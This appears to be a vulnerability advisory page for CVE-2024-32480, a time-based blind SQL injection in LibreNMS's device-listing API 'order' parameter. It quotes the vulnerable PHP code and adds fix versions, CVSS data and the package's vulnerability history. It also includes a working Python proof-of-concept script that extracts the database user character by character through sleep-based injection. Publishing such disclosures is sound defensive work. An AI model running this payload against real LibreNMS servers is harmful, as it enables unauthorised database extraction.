High

LibreNMS vulnerable to a Time-Based Blind SQL injection leads to database extraction

  • Disclosed: 22.04.2024
  • Updated: 11.10.2026 10:22

Summary

Get a valid API token, make sure you can access api functions, then replace string on my PoC code, Test on offical OVA image, it's a old version 23.9.1, but this vulerable is also exists on latest version 24.2.0

Details

in file api_functions.php, line 307 for function list_devices

php
$order = $request->get('order');
    $type = $request->get('type');
    $query = $request->get('query');
    $param = [];

    if (empty($order)) {
        $order = 'hostname';
    }

    if (stristr($order, ' desc') === false && stristr($order, ' asc') === false) {
        $order = 'd.`' . $order . '` ASC';
    }
    /* ... */
    $devices = [];
    $dev_query = "SELECT $select FROM `devices` AS d $join WHERE $sql GROUP BY d.`hostname` ORDER BY $order";
    foreach (dbFetchRows($dev_query, $param) as $device) {

The "order" parameter is obtained from $request. After performing a string check, the value is directly incorporated into an SQL statement and concatenated, resulting in a SQL injection vulnerability.

PoC

For example. this PoC is get current db user

python
import string
import requests

headers = {
	'X-Auth-Token': 'token_string'
}
req = requests.Session()
payloads = '_-@.,' + string.digits + string.ascii_letters
url = 'http://host/api/v0/devices?order=device_id` and if(ascii(substr(user(),%d,1))=%d,sleep(5),1) and d.`device_id'
result = 'user: '
for i in range(10):
	for payload in payloads:
		try:
			req.get(url % (i+1, ord(payload)), headers=headers, timeout=3)
		except requests.exceptions.ReadTimeout as ex:
			result += payload
			print(result),
		except Exception as e:
			pass

QQ截图20240306181404

Impact

Attacker can extract whole database

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Composer package librenms/librenms < 24.4.0 24.4.0

References

CVSS score 7.2/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-89
Platform
Composer
Package
librenms/librenms
Disclosed
22.04.2024
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-jh57-j3vq-h438 - CC BY 4.0

Vulnerability history: librenms/librenms

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (106) in the archive
Total entries
106
First → latest
10.2019 08.2026
Without a fix
6
Exploited in attacks
0

Severity breakdown

  • Critical 5
  • High 39
  • Medium 56
  • Low 6

Disclosures per year

  1. 2019: 6
  2. 2020: 0
  3. 2021: 7
  4. 2022: 26
  5. 2023: 12
  6. 2024: 24
  7. 2025: 15
  8. 2026: 16
Severity:
  1. High · 7.1 CVE-2026-84192 < 26.5.0 26.5.0
  2. High · 7.1 CVE-2020-36947 <= 1.46 no fix
  3. Critical · 9.1 CVE-2024-51092 < 24.10.0 24.10.0
  4. LibreNMS vulnerable to a Time-Based Blind SQL injection leads to database extraction this entry
    High · 7.2 CVE-2024-32480 < 24.4.0 24.4.0
  5. High · 7.8 CVE-2023-5591 < 23.10.0 23.10.0
  6. High · 8.4 CVE-2023-5060 < 23.9.1 23.9.1
  7. High · 7.6 CVE-2023-4347 < 23.8.0 23.8.0
  8. High · 8.8 CVE-2022-3525 < 22.10.0 22.10.0
  9. High · 7.6 CVE-2022-4068 < 22.10.0 22.10.0
  10. Critical · 9.8 CVE-2022-4070 < 22.10.0 22.10.0
  11. High CVE-2022-29712 < 22.4.0 22.4.0
  12. Critical · 9.8 CVE-2019-10665 <= 1.47 no fix
  13. Critical · 9.8 CVE-2018-20434 = 1.46 no fix
  14. High · 8.8 CVE-2018-20678 < 1.65 1.65
  15. High · 7.1 CVE-2022-0580 < 22.2.0 22.2.0
  16. High · 7.1 CVE-2022-0587 < 22.2.0 22.2.0
  17. Critical · 9.8 CVE-2021-44278 <= 21.11.0 no fix
  18. High · 8.8 CVE-2020-15877 < 1.65.1 1.65.1
  19. High · 8.8 CVE-2020-35700 < 21.1.0 21.1.0
Show more (4) Showing 40 of 44

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.